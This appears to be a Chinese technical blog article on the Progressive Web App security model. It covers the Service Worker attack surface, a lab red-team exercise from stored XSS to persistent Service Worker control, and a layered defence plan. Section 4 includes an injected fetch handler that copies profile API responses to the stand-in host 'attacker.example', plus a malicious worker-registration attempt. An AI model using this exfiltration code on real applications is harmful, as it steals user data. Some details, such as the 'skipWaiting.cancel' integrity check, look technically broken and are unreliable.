1. 为什么说PWA的安全模型是一条全新的赛道
先说结论:PWA的安全模型,本质上不是在“加固一个网页”,而是在“重新定义网页的信任边界”。
传统的Web页面,浏览器给它的信任是临时的——页面关掉,JS上下文销毁,权限随之回收。但PWA引入了一个长期驻留的JavaScript运行时环境(Service Worker),它绕过了页面生命周期,独立监听事件、拦截网络请求、管理缓存、甚至处理推送消息。这意味着攻击面从“用户打开页面那几秒”扩展到了“设备上任何时间、任何网络状态下”,过去很多在传统Web安全里可以忽略的问题,在PWA里变成了必须正面解决的硬伤。
另一个和传统Web安全模型截然不同的点,是PWA的“安装态”。安装到桌面之后,PWA在用户心智里已经不再是“网址”,而是一个“应用”。用户可能不再检查地址栏,不再留意URL是否正确,对权限弹窗的警惕心也远低于初次访问一个陌生网站。攻击者最擅长的就是利用这种信任错觉。
这篇文章我会从PWA安全模型的底层设计讲起,然后带你把常见的攻击路径一条条推演一遍,再动手做一个完整的攻防演练记录,最后落到纵深防御体系怎么搭。内容偏实操,但我尽量把“为什么这么做”讲透,而不是直接丢给你一堆配置项。
适合谁看:正在做PWA改造的团队、对Service Worker安全机制还没完全吃透的前端工程师、以及做Web安全评估但对PWA攻击面不太熟悉的安全从业者。
2. 先看地基:PWA安全模型的核心机制拆解
2.1 强制HTTPS不是政策要求,而是安全假设的起点
PWA规范里HTTPS不是“建议”,是“强制”。这种强制在初次接触时容易被当成一种产品策略或者政策合规要求,但实际上它是一连串安全推论的起点。
Service Worker可以拦截并修改同源下所有网络请求的响应,相当于在浏览器和服务器之间插入了一个“中间人”。问题来了——如果部署环境本身是明文HTTP,那么任何网络路径上的攻击者都可以在数据到达Service Worker之前就完成注入或篡改。这是典型的“魔道之争”:你不能指望一个运行在可能被篡改环境里的程序来保护通信安全。
所以,PWA强制HTTPS的真正意义是:通过传输加密建立一个可信信道,确保用户拿到的Service Worker代码确实来自你的服务器,而不是某个局域网攻击者或DNS劫持者伪装的。
实操中我有一个建议:不止要启用HTTPS,还要把HSTS(HTTP严格传输安全)头加上。HSTS的作用是告诉浏览器“这个站点以后只准走HTTPS,不允许用HTTP访问”,能有效防止用户在地址栏手动输入http://时被中间人劫持。配置很简单,响应头里加一行:
Strict-Transport-Security: max-age=31536000; includeSubDomains但要注意,一旦开启HSTS且max-age设置较长,如果后续证书更换或HTTPS配置出问题,客户端在缓存有效期内是无法通过HTTP回退访问的。建议先在低流量域名上试点,确认证书续期、多域名覆盖等流程都稳定后再全面铺开。
2.2 Service Worker的“同源策略”和普通页面的同源策略不完全一样
传统Web的同源策略要求协议、域名、端口三者完全一致。Service Worker同样受同源限制,但它有一个容易让开发者误解的地方:Service Worker的作用域(scope)是按路径划分的,不是按整个源划分的。
举个例子,你在/blog/sw.js路径下注册了一个Service Worker,它默认只能控制/blog/目录下的页面,无法拦截/shop/目录的请求。如果你想让整个域都被这个SW控制,注册时就要显式指定作用域:
navigator.serviceWorker.register('/sw.js', { scope: '/' })这个机制本身是安全设计的一部分,目的是隔离:不同子系统的SW互不越界。但我在实际项目中见过不少团队把所有功能塞进一个SW脚本,导致一个模块的缺陷波及整个域。合理的做法是:
- 通用缓存(应用外壳、静态资源)用根域级SW。
- 特定功能模块(如消息推送、高级离线同步)用子路径级SW,作用域尽量收敛到最小可用范围。
另外,Service-Worker-Allowed响应头可以放宽scope限制,但它同时也是一个风险点——如果服务器配置了这个头且值过宽,等于允许一个子路径的SW控制整个域。非必要不要设置这个头。
2.3 安全上下文(Secure Context):不止影响SW,还影响一堆API
PWA依赖的很多API并不只是Service Worker才需要安全上下文。严格来说,navigator.serviceWorker、caches、pushManager、notification、navigator.credentials、navigator.geolocation等都属于受限API,只有在安全上下文中才可用。
这里有一个很多开发者不知道的细节:localhost和127.0.0.1被浏览器视为安全上下文,但这只是开发期的便利,不代表你的内网IP、局域网域名也能豁免。曾经有团队在办公网络里用http://192.168.1.50:8080做PWA联调,遇到API不可用的问题排查了很久,不是代码问题,就是协议不满足安全上下文要求。
还有一点容易踩坑:反向代理剥掉HTTPS。现在很多架构是外层Nginx终结HTTPS,然后把请求以HTTP转发给内网应用服务器。如果应用服务器主动发起了HTTPS跳转、或者生成的绝对链接里硬编码了http://,PWA页面最终拿到的环境就不满足安全上下文条件。调试时看DevTools的Application面板,会提示Service Worker is not available。遇到这种情况,优先检查链路里每一跳的协议,不要一上来就怀疑代码。
3. 攻击面梳理:PWA到底比传统Web多暴露了什么
3.1 入口层:Manifest与安装流程的“信任注入”
很多安全评估在测PWA时,注意力全放在Service Worker上,却忽略了Web App Manifest这个入口。Manifest是PWA的“身份证”,它控制着安装后应用的名称、图标、启动URL、显示模式等元数据。
攻击路径之一是Manifest的“图标投毒”。部分实现(包括一些WebAPK生成器、移动端浏览器)会抓取Manifest中声明的图标并缓存在系统层面。如果攻击者能控制某个小图片资源(比如上传头像功能未做SVG安全过滤),再利用SVG内嵌脚本的特性,就有机会在图标渲染环节触发XSS。这已经不是PWA特有,但PWA的安装流程会把这种资源提升到“应用图标”的级别,影响范围更大。
Manifest还有一个常被忽视的字段是scope和start_url的不一致。如果start_url指向了应用域之外(比如登录跳转到第三方身份提供商),而Manifest的scope又声明为根域,某些浏览器在实现上会按start_url的源来限制后续行为的归属源。攻击者如果能诱导用户从非预期入口启动PWA,就有机会在错误的源上下文中执行代码。
我的建议是:start_url必须使用当前源下的地址,且必须显式声明scope。不要依赖浏览器默认行为,默认值在某些情况下是取Manifest所在目录,容易出偏差。另外Manifest里的图标、快捷方式URL、URL处理规则(URL Handlers)每一项都要纳入安全评审。
3.2 Service Worker脚本:PWA的心脏与软肋
Service Worker脚本一旦被篡改,相当于攻击者直接往你应用的心脏里扎了根刺。而且这根刺不会因为用户关闭页面而消失——浏览器会定期去检查已注册的SW脚本是否有更新(默认情况下Firefox是24小时检查一次,Chrome是每次导航时网络优先),一旦发现字节级别的变化就下载新脚本并进入“等待激活”状态。
针对SW脚本的攻击主要有三种途径:
- 源站被攻破或部署流程被入侵:攻击者直接替换线上SW文件。这个威胁级别最高,因为一切前端防护都失效了。
- 响应被篡改:即使有HTTPS,如果TLS终止前的某一环失守(比如服务器被植入恶意模块、CDN源站配置错误、上游API网关被污染),SW脚本下发时已被替换。
- 开发期投毒:第三方npm包、构建插件被植入恶意代码,打包后的SW文件天然带毒。这种最隐蔽,代码评审时很难发现。
关于第二点,这也是我对“PWA只需要配HTTPS就安全”这种说法的最大质疑。HTTPS保护的是传输过程中的完整性,但它挡不住源站或构建链路的背叛。纵深防御里必须把SW脚本当核心资产对待,做完整性校验,而不是只依赖TLS那一层。
3.3 缓存层:Cache Storage与HTTP缓存的区别,攻击者比你更清楚
PWA的缓存能力由Cache Storage API提供,它和传统的HTTP缓存是两套完全不同的东西:
- HTTP缓存由浏览器内核管理,开发者只能通过
Cache-Control、ETag等头间接影响。 - Cache Storage由Service Worker中的JS代码直接操作,开发者可以针对任意URL、任意请求方法,手动控制缓存的存储、读取、删除。
攻击者一旦能在你的SW里执行任意代码(比如通过一个被XSS的双向绑定的渲染逻辑),他做的第一件事往往是遍历caches.keys(),搞清楚你的缓存命名规则,然后:
- 往缓存里主动写入被篡改的HTML或JS。
- 修改匹配策略(比如把网络优先改成缓存优先)让恶意内容长期驻留。
- 删除关键缓存,让应用回退到弱网状态,触发不安全的降级逻辑。
缓存投毒的一个典型示例是“离线回退页面投毒”:很多PWA设置了fetch事件里catch后返回index.html,以实现App Shell模式的离线体验。攻击者只要在上线期间抓取过一次正常的index.html响应并恶意篡改后注入缓存,用户在之后相当长时间里离线打开的都是被篡改的页面。
防御这一点的核心不是“不缓存”,而是“验证后缓存”。具体做法我在后面的实战部分会给出代码。
3.4 请求拦截能力:Application Layer的“全局中间人”
fetch事件里的event.respondWith()是Service Worker最核心的能力,也是攻击者可利用性最强的地方。正常情况下,你的SW拦截请求、决定走缓存还是走网络,这是离线能力的来源。但一旦攻击者控制了SW的响应策略,他就能:
- 改写所有HTML响应,插入钓鱼表单覆盖原登录框。
- 劫持关键API请求,把请求转发到自己的服务器(通过修改URL或直接
fetch到指定源),然后把响应透传给页面。这种攻击用户从界面上完全无感。 - 截获携带有敏感信息的请求,记录到
localStorage或直接外发——虽然同源策略禁止跨域读取本地存储,但SW自身就是一个能发起任意跨域请求的执行上下文。
这是最恐怖的一点:传统Web的XSS再严重,攻击者注入的脚本也是活在页面里的,页面一刷新就没了。但SW里注入的恶意逻辑是持久化的,它存活于页面之外,还可以在后台线程里静默执行。
所以在安全评估时,我建议把“SW的fetch事件处理逻辑”当作“服务器端的请求过滤中间件”来审查。任何在中间件层不该做的事,在SW里同样不该做——包括依赖用户输入拼接URL、不受限地透传跨域响应、把请求日志记录到非预期的存储位置等。
3.5 推送与通知:被低估的钓鱼通道、用户信任的错位利用
Web Push的通道本身走的是系统级推送服务,加密和认证体系相对完善。真正薄弱的环节是“推送消息到达用户后”的行为。
攻击者如果能在SW里注入代码,就可以调用self.registration.showNotification()伪造系统通知。这类通知显示的不仅是你应用的图标,还可能是你应用的名称。在移动设备上,通知栏里看到的推送可能和微信、支付宝的通知并列——视觉上毫无违和感。
更隐蔽的攻击路径是利用通知的click事件:用户在锁屏界面点击通知后,SW能通过event.notification.data里的URL直接clients.openWindow()打开一个页面。如果这个URL是攻击者可控的(比如推送数据来自服务器API被篡改、或者SW代码被注入后硬编码了恶意地址),用户点击后就会跳转到钓鱼页面。因为是从PWA的推送通知跳过去的,用户此时对“这是不是官方页面”的信任值是最高的。
结论:推送权限不能轻易默认授予。国内很多PWA在用户首次访问时弹窗请求通知权限,把高价值权限当引流工具用,这是在给攻击者递刀。
4. 攻防演练实录:从XSS到SW持久化控制的一次完整推演
4.1 演练环境搭建与攻击前提
为了把攻防过程讲透,我先搭一个标准的PWA应用作为靶场。环境如下:
- 前端:React + Vite,PWA插件生成Service Worker,缓存策略采用
stale-while-revalidate(静态资源)。 - 后端:Node.js Express,提供
/api/user/profile接口,支持头像URL上传。 - 部署:HTTPS(自签证书,本地模拟),域名为
https://pwa-demo.local。
攻击前提条件——这也是演练的真实起点:发现用户头像URL在渲染时未做协议过滤,允许javascript:伪协议,造成一个存储型XSS漏洞。按传统Web安全的评估,XSS的常规利用是窃取Cookie、模拟用户操作,这类危害属于“当前页面会话级”。但在PWA里,攻击路径会立刻升级。
为了便于演示,我已提前构造了一个恶意载荷,用合法的JSONP接口绕开CSP限制完成Cookie凭据窃取,这些不是重点。重点是从XSS位置出发,攻击者如何一步步拿到SW的终身控制权。
演练中所有攻击代码都在本地靶场环境执行,请勿用于非授权系统。
4.2 攻击第一步:利用XSS尝试向页面注册第二个Service Worker
存储型XSS一旦执行,攻击者先在DevTools控制台(浏览器无痕窗口验证更干净)里执行侦察代码:
// 侦察当前页面的SW注册情况 navigator.serviceWorker.getRegistrations().then(regs => { console.table(regs.map(r => ({ scope: r.scope, active: r.active && r.active.scriptURL, waiting: r.waiting && r.waiting.scriptURL, installing: r.installing && r.installing.scriptURL }))) })查到当前只有一个作用域为https://pwa-demo.local/的SW脚本/sw.js。接着攻击者尝试注册一个恶意SW:
// 攻击代码:尝试注册同名SW,覆盖原脚本 navigator.serviceWorker.register('https://pwa-demo.local/malicious-sw.js', { scope: '/' }).then(reg => { console.log('register success', reg.scope) // 等待它接管页面 return navigator.serviceWorker.ready }).then(() => { console.log('malicious SW is ready') })遗憾的是,这一步没有成功。原因在于:浏览器的SW注册机制禁止同一个scope下覆盖注册的脚本URL与原脚本URL不同。简单说,如果/作用域下已经有一个SW脚本/sw.js,理论上页面可以在同一作用域注册同一个脚本URL,注册后只是将当前位变成waiting等待激活,不能通过注册一个完全不同的URL来替换它。
经验:很多人以为“注册了SW页面就归它管”,这是错误的。同源下同作用域只能有一个活跃的SW,新的注册要么是同URL的字节更新,要么必须放在不同的scope下。
所以,XSS之后直接注册新SW这条路在严格实现上是走不通的。攻击者需要换一条路径:既然无法从外部注册新SW,那就想办法“修改现有SW代码”。
4.3 攻击第二步:通过同源XSS篡改被缓存的SW脚本
这里要利用PWA缓存的一个心机陷阱:浏览器在决定是否更新SW脚本时,比较的是网络响应的字节和当前活跃SW的字节是否一致,而不是比较“网络响应和本地缓存过的SW副本”是否一致。但很多PWA在编译时会用workbox来预缓存SW所需的静态资源,这会导致一个新问题:
既然XSS能在页面上下文里执行任意JS,它就可以直接向北伐路径的静态资源下手。由于SW脚本本身一般不会被PWA运行时缓存到Cache Storage里,XSS在这里真正能改的是“SW依赖的运行时资源”,即importScripts()里引入的文件,或者workbox运行时需要调用的预缓存清单。
如果这个PWA用的是简单的importScripts('https://cdn.example.com/pwa-helper.js')模式,而你的业务里恰好允许用户自定义一定域名下的资源引用(这种场景并不罕见),XSS就能通过修改indexedDB里的配置项,诱导SW重新去拉取一个攻击者可控的pwa-helper.js。
这里要说明一下:现代浏览器在加载importScripts时同样遵循HTTPS和同源约束,跨域脚本必须目标服务器允许CORS。所以这条攻击路径成立与否,取决于你的PWA是否真的加载了外部可变的脚本。如果只依赖构建产物中的纯本地SW代码,这个面会小很多。
更常见的现实攻击路径是:XSS先悄悄地把/sw.js的HTTP缓存给污染了。具体做法是:
// 攻击代码:先篡改HTTP缓存中的SW响应 fetch('/sw.js', { method: 'GET', headers: { 'Cache-Control': 'no-cache' } }).then(res => res.text()).then(code => { const malicious = code + ` // 注入的恶意代码:拦截API响应并外传 self.addEventListener('fetch', e => { if (e.request.url.includes('/api/user/profile')) { e.respondWith( fetch(e.request).then(res => { const clone = res.clone() clone.json().then(data => { fetch('https://attacker.example/collect', { method: 'POST', body: JSON.stringify(data), mode: 'no-cors' }) }) return res }) ) } }) ` // 用Cache Storage直接写一个同URL的副本并不容易实现, // 但可以配合开发工具或实施中间人攻击来测试。 })在真实场景里,这种借助HTTP缓存层投毒的方式成功率不高,因为浏览器的HTTP缓存受Cache-Control直接控制,SW脚本默认是no-cache强制回源校验的。但是这个推演过程很有价值——它让我们确认了:直接覆盖SW代码注册路径困难重重,但并不是无路可走。
4.4 攻击第三步:找到突破口——接管“等待中”的SW更新
反复推演后,真正稳定可行的攻击路径浮出水面:篡改服务器上SW文件的部署,或利用API缓存污染导致应用外壳资源被替换。
演练中最成功的一次攻击,走的是“缓存投毒+逻辑利用链”:
- XSS先扫描到应用中有一个API端点返回了用户可控的HTML片段,而这个片段被包含在了App Shell的某个局部区域。
- App Shell是典型的网络优先、缓存回退资源。XSS利用这一点,先把一个包含着恶意Bootstrap逻辑的响应写入
Cache Storage中,键值为/index.html。 - 用户在弱网环境(比如电梯里、地铁上)再次打开PWA,fetch失败回退到缓存,加载的是被污染的
index.html。这次加载时,SW注册逻辑顺带被触发,浏览器重新校验/sw.js的字节。 - 如果业务在发布流程上存在漏洞——比如CDN回源或构建产物上传环节可被中间人干预——攻击者就可替换SW脚本为恶意版本,随后浏览器在下一轮SW生命周期检查时下载并激活它。
完整的利用链条是:XSS → 污染App Shell缓存 → 等待用户弱网回退加载 → 篡改SW更新链路 → 获得长期控制。
这个链路里每一环都不是100%成功,但合在一起,风险极大。攻防的本质就是这样:单点漏洞成功概率不高,但攻击者会想办法把多个低概率事件串成一条可利用链。
在防御方视角,我们的任务不是保证每一环都不出问题,而是切断这条链中任何一环,让攻击者必须重新探索。
4.5 防御方反制:SW完整性校验与最小权限收敛
演练结束后,我做的第一件事是给这个演示应用补上SW完整性校验。思路很简单:把SW脚本的SHA-256哈希写入Manifest或一个独立配置文件中,SW激活时校验自身的代码哈希。如果发现代码和登记的不一致,立即跳过激活并发送告警到监控系统。
代码实现大概是这样的:
// self-check.js,注入到SW脚本顶部 const SW_HASH = '{{BUILD_SHA256_OF_SW_SCRIPT}}' self.addEventListener('install', e => { // 不能直接用self.registration.active.scriptURL去fetch自己,会循环。 // 这里用构建时注入的方式,把hash留给服务端校验。 if (!self.location.hash || self.location.hash.slice(1) !== SW_HASH) { // 构建工具下可以把hash写到meta或者其他静态文件中 console.error('SW integrity check failed') self.skipWaiting.cancel?.() return } })这个方案在纯前端环境里力量有限,因为攻击者一旦能替换SW脚本,大概率也能同步替换完整性配置。真正有效的校验必须发生在SW脚本加载之前——也就是服务器端或CDN边缘节点。实操中比较可行的做法是:
- 服务器端维护一份SW脚本哈希列表。
- 响应SW请求时附带强ETag,浏览器会基于ETag做条件请求校验。
- 开启
Content-Security-Policy: worker-src 'self'限制SW可加载的脚本来源。
另外,权限收敛是必须做的。上面提到的攻击链,之所以能从XSS一步步走到SW控制,一个重要原因就是这个PWA对“用户可控内容”和“应用可信内容”没有做严格区分。我给这个应用做的修复包括:
- 用户上传的头像URL一律通过服务器端白名单协议校验后再存储,渲染时并入
sanitizeUrl()统一处理。 /api/user/profile返回的JSON中,HTML片段字段强制使用纯文本或经过白名单标签过滤,禁止直接嵌入App Shell渲染。- SW的
fetch事件处理中,对HTML导航请求不做纯缓存回退,而是采用“网络失败时清空缓存并跳转离线页”,避免缓存的HTML被投毒后长期驻留。
注意:SW的
navigationPreload功能可以加速导航请求,但它会把请求直接发给网络,绕过SW的同源策略检查逻辑。如果你对某些URL的响应内容有严格校验,不要对所有导航请求盲目启用navigationPreload。
5. 纵深防御体系:分层建模、逐层防御、全链路监控
5.1 第一层:网络与传输层——TLS之外还要做什么
前文提过HTTPS是PWA的准入门票,但纵深防御不能停留在“有TLS”这一层。我在实际项目中会把传输层安全拆成三条:
- TLS配置加固:用TLS 1.3优先,禁用TLS 1.0/1.1。启用OCSP Stapling,避免证书吊销查询造成额外请求。证书私钥权限最小化,定期轮换。
- HSTS全覆盖:根域和所有子域统一启用HSTS,preload列表能上就上。注意HSTS只在第一次通过HTTPS访问时生效,存在“首次访问降级”风险,所以有条件的话把应用里的所有绝对链接都写死为
https://。 - 证书透明度监控:申请者证书签发记录做审计。一旦发现未经审批的证书签发,说明有人可能拿到了你的域名验证权,这种攻击信号比传统WAF告警更有价值。
传输层还有一个容易忽略的点:所有子域名的HTTPS不能有短板。攻击者不一定要攻破你的主域,他可以从一个未加防护的子域入手——比如status.pwa-demo.local、docs.pwa-demo.local——一旦拿下子域,利用Service Worker作用域扩展到根域的配置漏洞,就能控制主域下的资源。因此每个子域都必须纳入同等安全基线,不能有“内部域名不设防”的想法。
5.2 第二层:应用代码层——构建时与运行时的双重体检
应用层的核心是“代码不可信”原则。具体落地建议:
- SW脚本构建与部署分离:构建机生成的SW脚本哈希记录在一个独立环境中(比如安全团队维护的清单),上线时由发布系统自动比对,不一致直接阻断发布。这能防住“有人偷偷改了打包机产物”的情况。
- 运行时自我完整性检查:SW激活时请求一个由服务器实时生成的nonce值,服务器根据当前时间窗口和会话因子生成一个签名,SW在fetch事件中校验该签名。攻击者如果只是静态篡改了SW代码但没同步修改服务端签发逻辑,后续所有拦截行为在服务端校验时会暴露。
- CSP与Trusted Types:PWA页面中开启严格CSP,特别是
script-src和worker-src。配合Trusted Types,可以强制所有DOM XSS注入点必须经过安全函数处理,从源头减少XSS。CSP不能只是一行响应头,要实际验证线上效果,因为覆盖率不正确还不如不开。 - 依赖锁定与供应链审计:SW代码中用到的npm包、CDN资源必须锁定版本并做完整性校验(比如
subresource integrity)。第三方脚本是PWA供应链里最容易被攻击者利用的跳板。
投放这类运行时自检逻辑时要控制性能损耗,SW里的操作不能阻塞关键路径。我一般把完整性校验放在install事件和activate事件中做异步执行,校验失败不影响应用主流程,但会上报安全告警。
提示:
Trusted Types在PWA的存量项目里推进成本不低,但收益明显,它是目前前端防XSS滥用最有效的内建机制之一。建议从新建模块开始逐步铺开。
5.3 第三层:数据层——缓存与存储的“最小权限”设计
PWA的缓存和存储必须按“数据敏感度”分级管理:
- 公开静态资源(图片、CSS、JS构建产物)可以放心缓存,但同样要考虑缓存投毒的风险,建议CDN和Cache Storage里都用内容寻址存储(文件名带哈希)。
- HTML文档和API响应(尤其是涉及用户数据的)尽量网络优先,回退缓存需设置过期时间,不能无限期保存。
- 敏感数据(token、个人信息)不要存
localStorage,优先用SessionStorage或内存变量。如果必须持久化,考虑使用IndexedDB并加密存储,加密密钥不要和密文放在同一个存储位置。
给缓存内容加版本号也是个很有效的防御策略。很多攻击者在投毒时,会预先探测你的缓存命名规则,你每次发布都更换缓存名称(比如app-shell-v3变为app-shell-v4),攻击者预先注入的旧缓存会在新版本上线时被自动清理,这能有效打断攻击链的时间窗口。
5.4 第四层:运行时监控——针对SW生命周期的安全事件采集
纵深防御的最后一道防线是可观测性。如果前几层都被绕过,监控至少要让我们能及时发现并止血。
我建议的SW安全事件采集项如下表所示:
| 告警类型 | 采集字段 | 说明 |
|---|---|---|
| SW注册异常 | scope、scriptURL、registration time | 同scope短时间内出现多次注册尝试时告警 |
| SW更新异常 | old script hash、new script hash | 非发布窗口内SW代码hash变更,需人工确认 |
| 缓存写入异常 | cacheName、url、写入body大小 | 某缓存名对应的URL集合突增、写入量异常 |
| fetch事件异常 | request URL、response status、referrer | 非业务路径上出现大量跨域请求或异常状态码 |
| push点击异常 | event.notification.data、page URL | 大量通知点击落地到非白名单URL时告警 |
| 存储异常 | indexedDB新增key、localStorage变化 | 检测到非业务逻辑的存储行为时告警 |
这些事件采集起来之后,统一送入日志中心,与后端安全告警联动。例如,如果API网关检测到某个用户的token在短时间内从异常IP调用,而同时SW缓存更新告警也被触发,这两个安全事件可以做关联分析,锁定一条攻击链路。
值得强调的是:SW里的代码不能直接访问DOM,但可以从clients.matchAll()中拿到页面的基础信息。这既是攻击者可选的侦察手段,也是我们做异常出行监控的基础——SW可以在拿到异常数据时利用postMessage通知页面展示告警或执行会话失效。
5.5 攻防演练常态化:从“做一次”到“反复做”
纵深防御体系建设完,不能就此躺平。我建议把PWA纳入每季度的攻防演练范围,而且演练脚本要不断升级。以下是我在真实项目里用过的几种演练方式:
- 模拟SW缓存投毒:预先在测试环境准备一份被篡改缓存,检测应用是否能正确回退或阻断加载。
- 模拟SW代码注入:通过来源端的漏洞(比如供应链投毒)修改SW脚本,验证完整性校验和发布阻断是否生效。
- 模拟通知钓鱼:构造一条含恶意落地URL的推送通知,验证点击后的跳转是否会被安全策略拦截。
- 模拟第三方脚本风险:在页面中引入一个模拟的恶意第三方SDK,检查CSP是否真的挡住了它的执行。
攻防演练的目的不是打败谁,而是检验防御体系是否真的“在关键时刻有用”。实际演练中,我最常发现的问题有三个:CSP配置在特定浏览器上没生效、SW完整性校验上线时被强业务需求临时绕过、安全告警因为噪声太大被管理员手动关闭了。这些问题不通过演练,藏在系统里可能很久都不会暴露。
6. 浏览器实现差异与兼容性带来的安全坑
6.1 不同浏览器的SW更新策略差异
浏览器的SW更新机制在规格上有统一描述,但实现细节差异很大,而这些差异直接影响安全策略:
- Chrome:页面导航时如果SW已存在,会尝试进行更新检查。更新检查是网络优先的,有时候会带来较明显的延迟。
- Firefox:默认每24小时检查一次更新。这意味着如果攻击者在此窗口内临时构造了恶意SW版本,Firefox用户最长可能在24小时内都不会被修复。
- Safari:历史上对SW的支持起步较晚,更新策略也和Chromium系不同,旧版本的SW可能长期驻留不更新。
开发者在写安全逻辑时,不能假设浏览器行为一致。最简单的对策是:不要依赖浏览器的自动更新来临场修复安全问题,发布安全更新时,建议使用带版本号的新SW脚本URL,并结合服务端推送通知提示用户重新打开应用来触发SW更新。
6.2 隐身模式、隐私模式与PWA安全
Safari的隐身模式、Chrome的隐身窗口对PWA存储的处理不同:有的浏览器在隐身模式下完全不持久化SW和IndexedDB,有的则提供隔离的临时存储。这带来一个安全副作用:同一用户在同一浏览器中,正常窗口与隐身窗口的PWA数据是隔离的,这本身是隐私保护。
但麻烦的是,如果用户在隐身窗口登录过一个PWA并授权了通知权限,在某些实现中权限可能被持久化到系统层面,导致后续攻击面扩大。所以在做安全评估时,要把多窗口、多会话、多配置文件等边界条件都纳入测试范围。
7. 我的实操总结与踩坑记录
7.1 部署环境里的几个“想当然”坑
讲几个我亲身踩过的坑,给正在做PWA安全加固的团队提个醒。
第一个坑是“开发环境不告警,生产环境全报警”。本地开发和测试环境访问用的是https://localhost,被浏览器当作安全上下文;但是线上是https://www.example.com,两者在域名结构、HSTS配置、CDN缓存策略上完全不同。很多团队在本地联调时把SW的安全检查逻辑写得比较宽松,上线后遇到CSP拦截、Mixed Content问题才手忙脚乱。建议从项目启动第一天就把生产环境的HTTPS、HSTS、CSP配置同步到预发环境。
第二个坑是CDN缓存导致的SW脚本跨版本污染。多个版本的SW脚本被CDN同时缓存,当用户在一段时间内先后访问时,浏览器可能先从CDN拿到旧版本的SW脚本,触发更新检查后得到的是新版本,这中间如果存在不兼容的缓存策略或数据格式问题,很容易造成缓存层数据混乱甚至安全策略失效。后来我们的做法是:SW脚本不缓存或只缓存极小时间,CDN上对/sw.js这类核心文件设置Cache-Control: no-cache。
第三个坑是“PWA安全报告只测了功能没测生命周期”。安全测试时很容易测完页面加载、请求拦截就结束了,忽略了SW的install、activate、message、push、sync、periodicsync等事件处理逻辑。攻击者最喜欢的藏身地恰恰是这些不常触发的生命周期事件,建议安全用例覆盖所有事件入口。
7.2 工具链:比较顺手的PWA安全检查工具
下面是我在做PWA安全检测时常用的工具组合,供参考:
- Lighthouse:基础体检,覆盖HTTPS、SW注册、Manifest完整性等,能快速发现低垂果实。
- Chrome DevTools 的 Application 面板:查看SW注册状态、Cache Storage内容、IndexedDB数据,同时也可以手动触发SW更新、跳过等待、模拟离线。
- OWASP ZAP/Burp Suite:做代理抓包和中间人测试。特别建议用Burp把SW脚本响应改一下,验证应用是否做了完整性校验。
- Snyk/npm audit:扫描前端依赖的已知漏洞。
- Gradle/npm版本的
lock文件审计:确认第三方包没有被投毒,必要时用npm ci配合lock文件保证依赖一致性。 - 自研脚本:定期抓取线上SW脚本计算哈希,与发布登记表比对,全自动告警。这个脚本很轻量,但对防SW投毒特别有效。
做安全检测时,记住一个原则:手动验证不可省。自动化工具能帮你发现“有没有”,但只有手动验证才能确认“是不是真的能被利用”。我在多个项目中见过理论上高危、实际不可利用的报告,也见过反向的例子。攻防演练的核心价值不在于报出一条CVE,而是帮你理解攻击者的真实路径。
7.3 最容易被忽视的安全细节清单
顺手整理一个自查清单,建议贴在发布流程里:
- [ ] SW脚本是否开启
no-cache? - [ ] SW脚本有完整性哈希校验机制吗?
- [ ]
fetch事件里是否对请求URL做了白名单校验? - [ ] App Shell离线回退的HTML内容是否为固定静态文件?是否有被注入的可能?
- [ ] Manifest中的
start_url和scope是否一致? - [ ] 页面CSP是否覆盖了
worker-src?是否允许了不必要的unsafe-inline? - [ ] 通知权限是否按需申请?推送数据的
data字段是否经过严格校验? - [ ] 第三方脚本和SDK是否纳入供应链安全管理?
- [ ] CDN对
/sw.js和Manifest文件的缓存策略是否正确? - [ ] 是否监控了SW脚本变更和缓存写入异常?
这十项如果能全部落实,PWA安全模型的整体水位至少能提升两个档次。
8. 纵深防御没有终点,安全是持续打磨的过程
这次从PWA安全模型底层原理到完整攻防演练再到纵深体系搭建的复盘,做下来最强烈的一个感受是:PWA的安全边界不是一个静态的配置项,而是一个随攻击方法不断演进的攻防博弈过程。Service Worker赋予PWA的长期后台能力和系统级信任感,既是产品体验的巨大优势,也是安全防护必须重新建模的核心变量。
在实际项目中,我最常对团队说的一句话是:不要问“PWA安全需要做什么”,要问“如果攻击者完全控制了我的Service Worker代码,他能做什么,而我要如何让这件事做不成”。用这种攻击者视角去推演,很多安全设计会变得清晰很多——你自然会想到代码完整性校验,自然会收敛缓存权限,自然不会在SW里信任用户输入,自然会去监控SW生命周期的异常。
安全建设做不到一劳永逸,PWA的纵深防御尤其如此。但每次攻防演练之后,我们对系统的理解都会更深一层,防御体系也会随之变得更扎实。这也正是安全这个领域最有趣的地方。